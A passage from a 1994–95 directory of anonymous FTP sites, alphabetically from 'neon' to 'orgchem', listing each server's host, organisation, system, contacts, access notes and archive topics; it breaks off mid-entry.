+Admin : +Organ : Nebraska Library Commission, , Nebraska +Server : +System : Unix (System V Release 4.2) +URL : ftp://neon.nlc.state.ne.us/ +Comment: +Files : agriculture; business; employment-labor; gis; history; libraries + + +Site : nervm.nerdc.ufl.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Florida, , Florida +Server : +System : VM/CMS +URL : ftp://nervm.nerdc.ufl.edu/ +Comment: default directory: ANONYMOU 191; Anonymous directory is ReadOnly +Files : VM TCPIP mods; VM/SP VM/XA real time monitor + +Site : nervous.cis.ohio-state.edu +Country: USA +GMT : -6 +Date : 18-Apr-94 +Source : +Alias : +Admin : +Organ : Ohio State University, , Ohio, CIS +Server : +System : Unix +URL : ftp://nervous.cis.ohio-state.edu/ +Comment: +Files : ansil; chandra; lispusers; neuroprose; papers; toolset + +Site : net.tamu.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : sc.tamu.edu +Alias : saturn.tamu.edu +Admin : +Organ : Texas A&M University, , Texas +Server : +System : Unix +URL : ftp://net.tamu.edu/ +Comment: tar, (de)compress, g(un)zip on the fly available; authorized users + only, activities may be monitored +Files : dsn; network; TAMU Linux & security archives; Unix + +Site : net-dist.mit.edu +Country: USA +GMT : -5 +Date : 30-May-94 +Source : old ftp-list +Alias : bitsy.mit.edu +Admin : postmaster@bitsy.mit.edu, ftp-bugs@bitsy.mit.edu +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts +Server : +System : Unix +URL : ftp://net-dist.mit.edu/ +Comment: +Files : MIT worm paper; PGP 2.6 + +Site : netinfo.ini.andrew.cmu.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : knappre@ctrvax.vanderbilt.edu (Ralph Knapp) {posting} +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, Andrew project +Server : +System : Unix (NeXT 1.0, NeXTStep) +URL : ftp://netinfo.ini.andrew.cmu.edu/ +Comment: +Files : ACE brochure; billing server; wireless + +Site : netlab.usu.edu +Country: USA +GMT : -7 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : USU +Server : +System : VAX/VMS running Multinet +URL : ftp://netlab.usu.edu/ +Comment: default directory: $DISK1:[ANONYMOUS] +Files : crisp; netwatch; Novell; PC/IP; PC NFS; SCSI; VMS Unzip; VT100 + +Site : netlab1.usu.edu +Country: USA +GMT : -7 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl [posting] +Alias : +Admin : +Organ : +Server : +System : Unix (System V Release 4.2) +URL : ftp://netlab1.usu.edu/ +Comment: +Files : mirrors: apps, drivers, epub, IETF, Kermit, MacIPX, Netwire, ODI, + packetdrivers, Unixware; newswatch + +Site : netlab2.usu.edu +Country: USA +GMT : -7 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl [posting] +Alias : edu-usu-netlab2.usu.edu [?] +Admin : jrd@netlab2.usu.edu +Organ : +Server : +System : Netware 3.12 (PC fileserver) +URL : ftp://netlab2.usu.edu/ +Comment: default directory: /sys/anonftp +Files : apps; epub; IETF; Kermit; MacIPX; netwire; ODI; packetdrivers; + Unixware + +Site : netlib.att.com +Country: USA +GMT : -5 +Date : 18-Apr-94 +Source : +Alias : plan9.att.com +Admin : postmaster@netlib.att.com +Organ : AT&T +Server : +System : Unix +URL : ftp://netlib.att.com/ +Comment: using :anonymous as the username, instead of anonymous generates + a debuglog when you run into trouble +Files : Netlib; Plan9 + +Site : netmarket.com +Country: USA +GMT : +Date : 26-Aug-94 +Source : guy@netmarket.com (Guy Haskin) +Alias : babylon.netmarket.com +Admin : +Organ : NetMarket +Server : www.netmarket.com +System : Unix +URL : ftp://netmarket.com/ +Comment: NoteWorthy Music's CD catalog +Files : fortune; hal; PGP + +Site : netmbx.netmbx.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : , Berlin +Server : +System : +URL : ftp://netmbx.netmbx.de/ +Comment: +Files : + +Site : netport.neosoft.com +Country: USA +GMT : -6 +Date : 18-Apr-94 +Source : +Alias : +Admin : +Organ : NeoSoft +Server : +System : Unix +URL : ftp://netport.neosoft.com/ +Comment: max. 8 users; FreeBSD mirror site; [disclaimer about + export controlled stuff. just don't put it there then] +Files : FreeBSD + +Site : neutron.chem.yale.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : root@neutron.chem.yale.edu +Organ : Yale University, New Haven, Connecticut, Chemistry dept., + Moore group +Server : +System : Unix +URL : ftp://neutron.chem.yale.edu/ +Comment: loose files in /pub +Files : elm-ws-support; file exchange; getools; go; man80; news; purge; + simpltn; tec2sgi; tn3270; weather; xwshset + +Site : network.ucsd.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - San Diego, San Diego, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://network.ucsd.edu/ +Comment: +Files : PCBridge and PCRoute; Sparc sounds + +Site : networking.raleigh.ibm.com +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : nsinfo@vnet.ibm.com {posting} +Alias : networking.cary.ibm.com +Admin : +Organ : IBM, Raleigh, North Carolina +Server : gopher and WWW to be announced in the future +System : Unix +URL : ftp://networking.raleigh.ibm.com/ +Comment: +Files : appc; appn; ciw; cmip; feedback; news; products; protocols; standards + +Site : newton.dep.anl.gov +Country: USA +GMT : -6 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : Argonne National Laboratory +Server : +System : Unix +URL : ftp://newton.dep.anl.gov/ +Comment: +Files : access.exe [?] + +Site : newton.newton.cam.ac.uk +Country: UK +GMT : 0 +Date : 14-Mar-94 +Source : M.Amrani@newton.cam.ac.uk (M. Amrani) +Alias : +Admin : M.Amrani@newton.cam.ac.uk (M. Amrani), hms12@newton.cam.ac.uk + (archive), I.Newton@newton.cam.ac.uk (Institute info) +Organ : Cambridge University, Cambridge, Isaac Newton Institute for + Mathematical Sciences +Server : +System : Unix +URL : ftp://newton.newton.cam.ac.uk/ +Comment: seminars contains current seminar information, general contains + general information about the institute, programmes contains + information about current and future reserach programmes, ancient + contains some egyptology info +Files : Isaac Newton institute courses, info, seminars; older files relating + to cvi, egyptology, rsp + +Site : newton.uiowa.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : ftp.amug.org +Alias : panther.weeg.uiowa.edu +Admin : moderator@newton.uiowa.edu +Organ : University of Iowa, , Iowa, Newton archive +Server : +System : Unix +URL : ftp://newton.uiowa.edu/ +Comment: mostly Mac files in submissions; mirrored on ftp.amug.org +Files : Newton technology site (tools for Mac and MS-DOS: FAQ, helpline, + WWW) + +Site : next.com +Country: USA +GMT : -8 +Date : 11-Feb-94 +Source : old ftp-list +Alias : moat.next.com +Admin : +Organ : NeXT Computer +Server : +System : NeXT 2.1 +URL : ftp://next.com/ +Comment: most files moved to ftp.next.com (some remain, esp. sources) +Files : NeXT files + +Site : nexus.yorku.ca +Country: Canada +GMT : -5 +Date : 25-Jan-95 +Source : old ftp-list +Alias : +Admin : +Organ : York University, Toronto, Ontario +Server : +System : Unix (SunOS 4.1) +URL : ftp://nexus.yorku.ca/ +Comment: +Files : Automate; bibliographies; c.a.p [which group?]; FlexOR; fmpl; + Internet-Info; Linux; mail-bbones; n2m; oz; prolog; reports; scheme; + ssmtp; tcl-snmp; ugrad-forum; zmodem + +Site : nic.csu.net +Country: USA +GMT : -8 +Date : 22-May-94 +Source : dlist@ora.com +Alias : +Admin : +Organ : California State University Net, , California +Server : +System : VAX/VMS +URL : ftp://nic.csu.net/ +Comment: gopher: eis.calstate.edu; default directory: USER2:[ANONYMOUS_DIR] +Files : CSUnet; ITL CSU; + +Site : nic.ddn.mil +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : U.S. Department of Defense Defense Data Network - Internet NIC +Server : +System : Unix +URL : ftp://nic.ddn.mil/ +Comment: site for domain registration forms, most files are also available + from rs.internic.net +Files : netinfo; gosip; domains; RFCs; IEN; IETF; STDs; FYIs; protocols; + internet drafts; scc; ddn-news etc. + +Site : nic.infn.it +Country: Italy +GMT : +1 +Date : 22-May-94 +Source : dlist@ora.com +Alias : cnaf43.infn.it +Admin : +Organ : INFN (National Institute for Nuclear Physics) +Server : +System : VAX/VMS running MultiNet +URL : ftp://nic.infn.it/ +Comment: default directory: DISK$INFO:[ANONYMOUS] +Files : docs; GARR; ISO; Link; mailing; RFCs; X500 + +Site : nic.nm.kr +Country: South Korea +GMT : +8 +Date : 11-Feb-94 +Source : hch@nctuccca.edu.tw (Chih-Hsien Huang) +Alias : ns.nm.kr +Admin : info@nic.nm.kr +Organ : Korea Network Information Center (KRNIC) +Server : +System : Sun (SunOS) +URL : ftp://nic.nm.kr/ +Comment: gopher available by telnetting to nic.nm.kr and logging in as + 'gopher' (no quotes) +Files : ccirn; FYIs; IETF; resourceguide; STDs; + +Site : nic.nordu.net +Country: Norway +GMT : +1 +Date : 20-Apr-94 +Source : +Alias : +Admin : +Organ : NORDUnet +Server : +System : Unix +URL : ftp://nic.nordu.net/ +Comment: +Files : EBONE; Europe; IEPG; IESG; IETF; Internet Drafts; Internet Resource + Guide; maps; networking; NORDUnet; NSF; opstat; RFCs; RIPE; SR-Nett; + wg-nop + +Site : nic.prep.net +Country: USA +GMT : -5 +Date : 22-May-94 +Source : dlist@ora.com +Alias : +Admin : +Organ : PREPnet, , Pennsylvania +Server : +System : Unix (Ultrix 4.1) +URL : ftp://nic.prep.net/ +Comment: +Files : Internet; PREPNet + +Site : nic.the.net +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : +Alias : +Admin : +Organ : +Server : +System : VAX/VMS running MultiNet +URL : ftp://nic.the.net/ +Comment: default directory: DISK$ANONYMOUS:[ROOT] +Files : INFO; Internet Talk Radio (ITR); PMDF; UPSC + +Site : nic.wiscnet.net +Country: USA +GMT : -7 +Date : 22-May-94 +Source : dlist@ora.com +Alias : noc.wiscnet.net +Admin : +Organ : WiscNet, Madison, Wisconsin, Madison Academic Computing Center's + NIC archives +Server : +System : Unix +URL : ftp://nic.wiscnet.net/ +Comment: desktop TCP/IP; docs; gopher; ISDN; lookup; maps; people; policies; + security; techinfo; techpartners; WAIS; WiscNet +Files : + +Site : nickel.ucs.indiana.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : russ@silver.ucs.indiana.edu (Jeff Russ) {posting} +Alias : +Admin : +Organ : Indiana Univeristy, Bloomington, Indiana, University Computing + Services +Server : +System : Unix +URL : ftp://nickel.ucs.indiana.edu/ +Comment: +Files : Apollo; CDC; Dec; PDP8 source code, binaries, docs + +Site : nicosia.ccs.ucy.cy +Country: Cyprus +GMT : +2 +Date : 16-Jul-94 +Source : lourakis@csd.uch.gr (Manolis Lourakis) +Alias : +Admin : postmaster@nicosia.ccs.ucy.cy +Organ : University of Cyprus, Nicosia, CCS +Server : +System : Unix +URL : ftp://nicosia.ccs.ucy.cy/ +Comment: +Files : dactl; RISC 6000; UCY + +Site : nifty.andrew.cmu.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : +Alias : +Admin : chrisn+@cmu.edu (Chris Newman) +Organ : Carnegie-Mellon University, Pittsburg, Pennsylvania, Andrew project +Server : gopher +System : Unix +URL : ftp://nifty.andrew.cmu.edu/ +Comment: read the README, DISCLAIMER and RULES files; gif/jpg images from + the misc directories are no longer available due to copyright + violations and there were no age-based restrictions on them +Files : erotica (images); Mac; Queer Resources Directory (QRD) + +Site : niord.shsu.edu +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : VAX Software List; old ftp-list +Alias : +Admin : bed_gdg@shsu.edu +Organ : Sam Houston State University, Huntsville, Texas +Server : fileserv@shsu.edu (FILESERV@SHSU on BITNET), use SENDME + and DIRECTORY +System : VAX/VMS running MultiNet +URL : ftp://niord.shsu.edu/ +Comment: MaasInfo files in maasinfo/; default directory: ANON_DEV:[FILESERV] +Files : ACADlist; accountability; additions; archie; asaetr; astrosym; + autoindent; babel; bbfig; bbm; bibclean; bibdb; bibextract; + bibliobuilder; bm2font; boxedeps; brief_t; bsn; bst; c2latex; + checksum; chemtex; chess; cjethics-l; cjintro-l; clip; cmbb; cmrps; + cmttss; cnoweb; commutative; comp.text.tex; cope-author-instructions; + cope; cpp2latex; crossword; cso-stuff; ctan (see pip.shsu.edu); ctt; + cweb-Mac; d-VMSlsv; deu-l; deu-listings; devanagari; diagramf; + doc; domain codes; dosnoweb; drivers; drutpu; dtk-l; dvgt; dvi2pcl; + dvi2tty; dvidvi; dviln03; dvips547; dvips5490; dvips5495; dvips5516; + econbib; econdata; economics; eepic; efe; ega2me; egopher; ejournl; + emtex-texshell; epic; explain; epmtex; essential; etpu; eveplus; + exercise; faq; fedtax-l; fig2mf; fileserv tools; fillform; finale; + flist; floatfig; fontname; fonts; fontsel; footnpag; french; + ftnright; funnelweb; fweb-faq; fweb; gawk; gentle; GhostScript + (MS-DOS); gopher plus; GreekTeX; harvard; headache; hp2pbm; hp2pk; + hp2xx; IAFA; impatient; include; Info-TeX; Info-TPU; inrstex; + Internet; ir-comm; IRC; itrans; jed; kermit; knuth; kr-cweb; labor; + LACheck (MS-DOS); LameTeX; LaTeX3; LaTeXInfo; lexitex; ling-tex; + litprog-bib; lollipop; LP-Intro; LTX3pub; ludica; lzw; lzw_sources; + MaasInfo files; mailgopher; makeindex; maltby-intro; mamath; mfpic; + mftu; midnight; modes; MSWin LaTeX; MultiNet FTP mode LZ; mweb; mx; + nassflow; newsletter; nfss; novfc; noweb; nuweb; ozgis; PC-Web; + PC-Dviware; Perl; pgframe; PH; pictex; pkzip; plain; pmtex; + pol-econ; PP; PPHLP; PS2PK; PSBOX; PSFIGTeX; PSNFSS; PS tricks; + PS utils; RevTeX; RTF; RTF2LaTeX; S2LaTeX; sals; sauter; scriptTeX; + seminar; sfware; smcro; special; spfontware; spiderweb; squiggle; + St. Mary; sty; tbefiles; TeX-XeT; TeX-CD; TeX-LSEdit; TeX-News; + Texas; TeXHax; TeXinfo; TeXxMag; TeXserver; TeXshell-CMS; TeXtools; + TeXtugn; TeXtures-FIGS; TeXexample; TeX-primer; theorem; tgrind; + TPU; TPUHDR; TR2LaTeX; TRIES-L; tries; troff to TeX; trombone; + tspell; ttn; tug-lug; tug-suggest; tugabs; tugboat; tugproc; + twg-tds; twg; UCtheses; UCX support; UK TeX; Unix-TeX; unmacro; + unsplit; unzip (Amiga, Atari, BCC, Mac, MS-DOS, NT, OS2, VMS); + uucode (Unix); vaxbook; vertex; VMS LaTeX; VMS mail; VMS Tar; + VMS WAIS; vol-task; vvcode; WAIS; WEB2C; Windows3; wizunzip; wkbf; + wordweb; WP2LaTeX; XDvi; Xetal; XPPT; ZCrypt; ZIP (Atari, Mac, + MS-DOS, NT, OS/2, VMS); ZOO + +Site : nlmpubs.nlm.nih.gov +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : +Alias : +Admin : ftpadmin@nlmpubs.nlm.nih.gov (read README for more addresses) +Organ : U.S. National Institute of Health, , , National Library of Medicine +Server : gopher.nlm.nih.gov, www.nlm.nih.gov, telnet text.nlm.nih.gov +System : Unix +URL : ftp://nlmpubs.nlm.nih.gov/ +Comment: use a + in front of the e-mail address to get a DOS like listing; + INDEX.MASTER for a complete listing, INDEX.FLAT for an unformatted + listing; each directory contains an INDEX file +Files : aids; alerts; bibs; grants; grateful; hstat (Health Services + Technology Assessment Text); nlminfo; online; umls + +Site : noc.byu.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Brigham-Young University +Server : +System : Unix +URL : ftp://noc.byu.edu/ +Comment: +Files : + +Site : noc.sura.net +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Maryland - SURAnet, , Maryland, NOC +Server : +System : Unix +URL : ftp://noc.sura.net/ +Comment: +Files : various network maps; SURAnet information + +Site : northstar.otago.ac.nz +Country: New Zealand +GMT : +12 +Date : 10-Sep-94 +Source : +Alias : +Admin : QRDstaff@vector.casti.com, QRD@vector.casti.com (submissions) +Organ : +Server : +System : Unix +URL : ftp://northstar.otago.ac.nz/ +Comment: Queer Resources Directory (QRD); tar and compression on the fly +Files : QRD [is this the same as vector.casti.com?] + +Site : nova.cc.purdue.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana, CS dept. +Server : +System : NeXTStep (NeXt 1.0) +URL : ftp://nova.cc.purdue.edu/ +Comment: +Files : Next archives + +Site : nova.pvv.unit.no +Country: Norway +GMT : +1 +Date : 23-Aug-94 +Source : ftp.xfree86.org +Alias : +Admin : +Organ : University of Trondheim, Trondheim, PVV +Server : +System : Unix +URL : ftp://nova.pvv.unit.no/ +Comment: +Files : Apollo; Atari; dikumud; languages; Linux; MUD; numerous Unix + material in /pub/Store/nova; XFree86 + (mirror from ftp.xfree86.org) + +Site : novell.felk.cvut.cz +Country: Czech Republic +GMT : +1 +Date : 10-Sep-94 +Source : padavis@mkt.xyplex.com {posting} +Alias : +Admin : meloun@vision.felk.cvut.cz +Organ : Czech Technical University (CVUT), , EE dept. (FELK) +Server : +System : Netware (PC fileserver) +URL : ftp://novell.felk.cvut.cz/ +Comment: home directory: /APPL/PUB +Files : cstex; HellSoft ftpdaemon for Netware; Linux; logo; Novell; Pmail; + RFCs + +Site : novell.macc.wisc.edu +Country: USA +GMT : -6 +Date : 11-Jul-94 +Source : old ftp-list +Alias : macstaff.macc.wisc.edu +Admin : +Organ : University of Wisconsin, Madison, Wisconsin, + Madison Academic Computing Center (MACC) +Server : +System : Novell NetWare 3.11 (PC fileserver) +URL : ftp://novell.macc.wisc.edu/ +Comment: directory set to /user1/guest +Files : archie; charon; cutcp; drivers; ees; fdc14; KA9Q; lwp; macstuff; + MOKE (kanji/kana editor for msdos); NCSA; netnotes; netware; nupop; + pcip; pmail; spa audit; trumpet; utils; virus; windows; wiscwrld + +Site : novell.nrc.ca +Country: Canada +GMT : -5 +Date : 29-Nov-94 +Source : Larry.Bradley@nrc.ca (Larry Bradley) {posting} +Alias : inf_nw.nrc.ca +Admin : Larry.Bradley@nrc.ca (Larry Bradley) +Organ : National Research Council +Server : +System : Netware (Netware 3.11, PC fileserver) +URL : ftp://novell.nrc.ca/ +Comment: default directory: /SYS/FTP; Read Only access +Files : mirror of netlab2.usu.edu (Novell Netwire); STAMP (Parallax + microcontroller) + +Site : novell-server.pstc.brown.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : pstc.brown.edu +Admin : +Organ : Brown University, Providence, Rhode Island, PSTC +Server : +System : Netware (Netware, PC fileserver) +URL : ftp://novell-server.pstc.brown.edu/ +Comment: +Files : SCO + +Site : novftp.rc.rug.nl +Country: Netherlands +GMT : +1 +Date : 12-Aug-94 +Source : yongyuth@cmu.chiangmai.ac.th (Yongyuth Sukvanachaikul) {posting} +Alias : +Admin : fokkinga@novftp.rc.rug.nl, cat@novftp.rc.rug.nl [probably] +Organ : Rijks Universiteit Groningen (University of Groningen), Groningen, + CC +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://novftp.rc.rug.nl/ +Comment: server RCT1, default directory is RCT1/SYS:/FTP/PUB, rights: RF +Files : Novell and networking related files: client.nov, demo, docs, + drivers, eisa, kermit, Mac, Minuet, modem, netwire, nlm, pkt_drv, + pmail, printer, proglibs, RUGCIS, tapeware, tcpip, DOS utils, + Novell utils, virus, wfwg311, win3, wrksheet + +Site : ns.cs.msu.su +Country: Russia +GMT : +2 +Date : 11-Mar-94 +Source : +Alias : redsun.cs.msu.su +Admin : +Organ : Moscow State University, Moscow +Server : +System : Unix +URL : ftp://ns.cs.msu.su/ +Comment: +Files : hardware; ida-sendmail; MS-DOS; PC-NFS; tape; TeX; Unix + +Site : ns.niehs.nih.gov +Country: USA +GMT : -5 +Date : 18-Apr-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : U.S. National Institute of Health, , , NIEHS +Server : +System : Unix +URL : ftp://ns.niehs.nih.gov/ +Comment: +Files : EWALD code; MULTI 3.1 (temp. offline) + +Site : nsipo.arc.nasa.gov +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : ftpadmin@aol.com +Alias : nsiop.nasa.gov +Admin : +Organ : NASA - Ames Research Center, Mountain View, California +Server : +System : Unix +URL : ftp://nsipo.arc.nasa.gov/ +Comment: Warning: You are connected to a U.S. Government Computer etc. + keystroke monitoring and recording etc. fine and imprisonment etc. + Guest login ok +Files : cdrom; eos; FNC (FNCAC); Hubble; Mac; multicast; network; + newsletter; NSI; rox; security; sendmail; lots of loose files in + /pub + +Site : nssdca.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, +Server : +System : VAX/VMS running Multinet +URL : ftp://nssdca.gsfc.nasa.gov/ +Comment: default directory: ANON_DIR:[000000] +Files : active; asm; cdf; cdrom; cobe; coho; data_dist; fits; graphics + software; GSFC PID; HQ NRAS; Hubble space telescope images; MD_DOC; + models; multidis; ncds; operations; sfdu; space physics; spds; tools + +Site : nstn.ns.ca +Country: Canada +GMT : +Date : 10-Sep-94 +Source : ftp.cybercon.nb.ca (CommSet docs) +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://nstn.ns.ca/ +Comment: +Files : CA-domain; cadcam-exec; canoc-l; cansig; charlottetown-accord; + CommSet (MS-DOS newsreader); dnd-anon; Internet-Business-Journal; + Internet Talk Radio (ITR); Interview; irtool; learning-connection; + listserv; Mac; marketing-wg; netinfo; novaknowledge; + nstn-documentation; PC; planning-l; sians-exec; sqg-exec; Unix; + Windows + +Site : ntia.its.bldrdoc.gov +Country: USA +GMT : +Date : 18-Apr-94 +Source : +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://ntia.its.bldrdoc.gov/ +Comment: +Files : fuzzy + +Site : ntu.ac.sg +Country: Singapore +GMT : +8 +Date : 15-Dec-94 +Source : posting of yarik@sphs.sph.spb.su (Yaroslaw Mezheritsky) in + comp.mail.uucp +Alias : ntuix.ac.sg +Admin : +Organ : Nayang Technological University (NTU) +Server : +System : Unix +URL : ftp://ntu.ac.sg/ +Comment: Problem: Failed to get host information; directory: /archive4/win3; + Open 24 hours +Files : ftp.cica.indiana.edu mirror + +Site : nymph.nimh.nih.gov +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : +Alias : gopher.nimh.nih.gov +Admin : +Organ : U.S. National Institute of Health, , , NIMH +Server : +System : Unix +URL : ftp://nymph.nimh.nih.gov/ +Comment: available through Gopher at gopher.nimh.nih.gov +Files : bike; Mac; OS/2; Unix; MS-Windows 3 + +Site : nyquist.cs.nott.ac.uk +Country: UK +GMT : 0 +Date : 30-Oct-94 +Source : Netrek FAQ +Alias : +Admin : +Organ : University of Nottingham, Nottingham, CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://nyquist.cs.nott.ac.uk/ +Comment: Ceilidh moved to ftp.cs.nott.ac.uk +Files : ANSA; CJB; comic; defender; dns; Mac client; MASSIVE; papers; peb; + pictures; sound client; Virtuosi; web + +Site : nyu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : cmcl2.nyu.edu +Admin : +Organ : New York University, New York, New York +Server : +System : Unix +URL : ftp://nyu.edu/ +Comment: +Files : mod.sources + +Site : oac.hsc.uth.tmc.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Texas Medical Colleges, Houston, Texas +Server : +System : Unix +URL : ftp://oac.hsc.uth.tmc.edu/ +Comment: +Files : MacHTTP (mirrored on www.jsc.nasa.gov) + +Site : oak.oakland.edu +Country: USA +GMT : -5 +Date : 09-Feb-94 +Source : old ftp-list +Alias : oak; rigel.acs.oakland.edu +Admin : admin@vela.acs.oakland.edu, w8sdz@Simtel.Coast.NET, + w8sdz@vela.acs.oakland.edu (Keith Petersen) +Organ : Oakland University, Rochester, Michigan, Academic Computing Services +Server : +System : Unix +URL : ftp://oak.oakland.edu/ +Comment: Primary Simtel Software Repository mirror (of Simtel.Coast.NET, + which is NOT reachable from the Internet); max. 400 users; + gopher via gopher.oakland.edu, WWW via www.acs.oakland.edu +Files : BBS lists; ham radio; ka9q TCP/IP; Mac; modem protocol info; MS-DOS; + MS-Windows; PC Blue; PostScript; Simtel-20; Unix + +Site : ocf.berkeley.edu +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : old ftp-list +Alias : typhoon.berkeley.edu +Admin : ftp@ocf.berkeley.edu, general-manager@ocf.berkeley.edu (OCF info) +Organ : University of California - Berkeley, Berkeley, California, + Open Computing Facility +Server : +System : Unix (Apollo) +URL : ftp://ocf.berkeley.edu/ +Comment: directory: /pub/Library/Network; please refrain from using the + system on weekdays 1000-0200; transfers are logged +Files : Amiga; Apollo; Cal Band; Cal Band History; Cal graphics; Calsol; + comics (Kid Dynamo, read the rec.arts.comics FAQ for details); + crossfire; FTP sites; games; gobears; Hello World archive; + Help Sessions; Library; Network Info; netrek; NFL draft; OCF; + purity; RFCs; Space; Traveller; Usenet Olympics + +Site : oddjob.uchicago.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Chicago, Chicago, Illinois +Server : +System : Unix (SunOS 4.1) +URL : ftp://oddjob.uchicago.edu/ +Comment: +Files : NNTP; Sendmail; utils; Ethernet stuff + +Site : odie.niaid.nih.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : U.S. National Institute of Health, , NIAID +Server : +System : Unix (SunOS 4.1) +URL : ftp://odie.niaid.nih.gov/ +Comment: +Files : AAC; ambis; AU; lanman; mxs + +Site : oersted.ltf.dth.dk +Country: Denmark +GMT : +1 +Date : 09-Feb-94 +Source : terra@diku.dk (Morten Welinder); old ftp-list +Alias : +Admin : +Organ : Techical University of Denmark +Server : +System : Unix (SunOS 4.1) +URL : ftp://oersted.ltf.dth.dk/ +Comment: +Files : movietools; mail-list + +Site : oes.orst.edu +Country: USA +GMT : -8 +Date : 22-Mar-94 +Source : +Alias : darkstar.orst.edu [?] +Admin : info-mgr@oes.orst.edu +Organ : Oregon State University, Corvallis, Oregon, Milne CC +Server : +System : Unix +URL : ftp://oes.orst.edu/ +Comment: .p2 files are 'zoo' archives and are available transparently; + Aminet section is CLOSED! +Files : almanac; mirrors; MS-DOS; substance; xpilot + +Site : ogre.cica.indiana.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Indiana University, Bloomington, Indiana, + Centre for Innovative Computing Applications +Server : +System : Unix (SunOS 4.1) +URL : ftp://ogre.cica.indiana.edu/ +Comment: Problem: can't set guest privileges [probably obsolete] +Files : lpd + +Site : okeeffe.berkeley.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : vangogh.cs.berkeley.edu +Admin : +Organ : University of California - Berkeley, Berkeley, California, CS dept. +Server : +System : Unix +URL : ftp://okeeffe.berkeley.edu/ +Comment: +Files : + +Site : omg.org +Country: U +GMT : +Date : 22-May-94 +Source : +Alias : +Admin : +Organ : OMG +Server : +System : Unix (DG/UX) +URL : ftp://omg.org/ +Comment: User ftp: working directory set to /archives/.ftp +Files : analysis+design; cb; CORBA; NEC: DII,ORB; OMG: IDL, IDL CFE; mail; + object services; ORB; PCTE; presentations + +Site : on-ramp.ior.com +Country: USA +GMT : -8 +Date : 29-Oct-94 +Source : bobk@tau-ceti.isc-br.com (Bob Kirkpatrick) {posting} +Alias : +Admin : +Organ : +Server : +System : Unix (Linux, PC) +URL : ftp://on-ramp.ior.com/ +Comment: +Files : FX UUCICO; IOR; Linux; Mac; PC + +Site : onet.on.ca +Country: Canada +GMT : -5 +Date : 22-May-94 +Source : dlist@ora.com +Alias : enfm.utcc.utoronto.ca [?] +Admin : +Organ : OntarioNet (ONet), , Ontario +Server : +System : Unix +URL : ftp://onet.on.ca/ +Comment: +Files : CAnet; distrib; Internic; mail; nameserver; NNSC; ONet; security; + sendmail; TCP/IP; Unix; Usenet + +Site : opcom.sun.ca +Country: Canada +GMT : -5 +Date : 22-May-94 +Source : +Alias : spirit.sun.ca [?] +Admin : +Organ : Sun +Server : +System : Unix +URL : ftp://opcom.sun.ca/ +Comment: +Files : AMToolkit; BT-FX; demos; docs; drivers; mtxview; newsletter; + patches; scripts; smkV2; Solaris 2.1; tar; threads; X11R5 + +Site : orca.alaska.edu +Country: USA +GMT : -10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : sxjc@orca.alaska.edu +Organ : University of Alaska +Server : +System : VAX/VMS +URL : ftp://orca.alaska.edu/ +Comment: non-standard FTP session +Files : MCW-BBS mirror (Mark C. Williams' Coherent) + +Site : oregon.uoregon.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Oregon, , Oregon +Server : +System : VAX/VMS running MultiNet +URL : ftp://oregon.uoregon.edu/ +Comment: default directory: SYS$NETDEVICE:[ANONYMOUS.PUB] +Files : + +Site : orgchem.weizmann.ac.il +Country: Israel +GMT : +2 +Date : 30-Oct-94 +Source : ftp.xfree86.org +Alias : +Admin : serg@orgchem.weizmann.ac.il (Serge Maleyev) +Organ : Weizmann Institute of Science, Rehovot, Organic Chemistry dept. +Server : +System : Unix +URL : 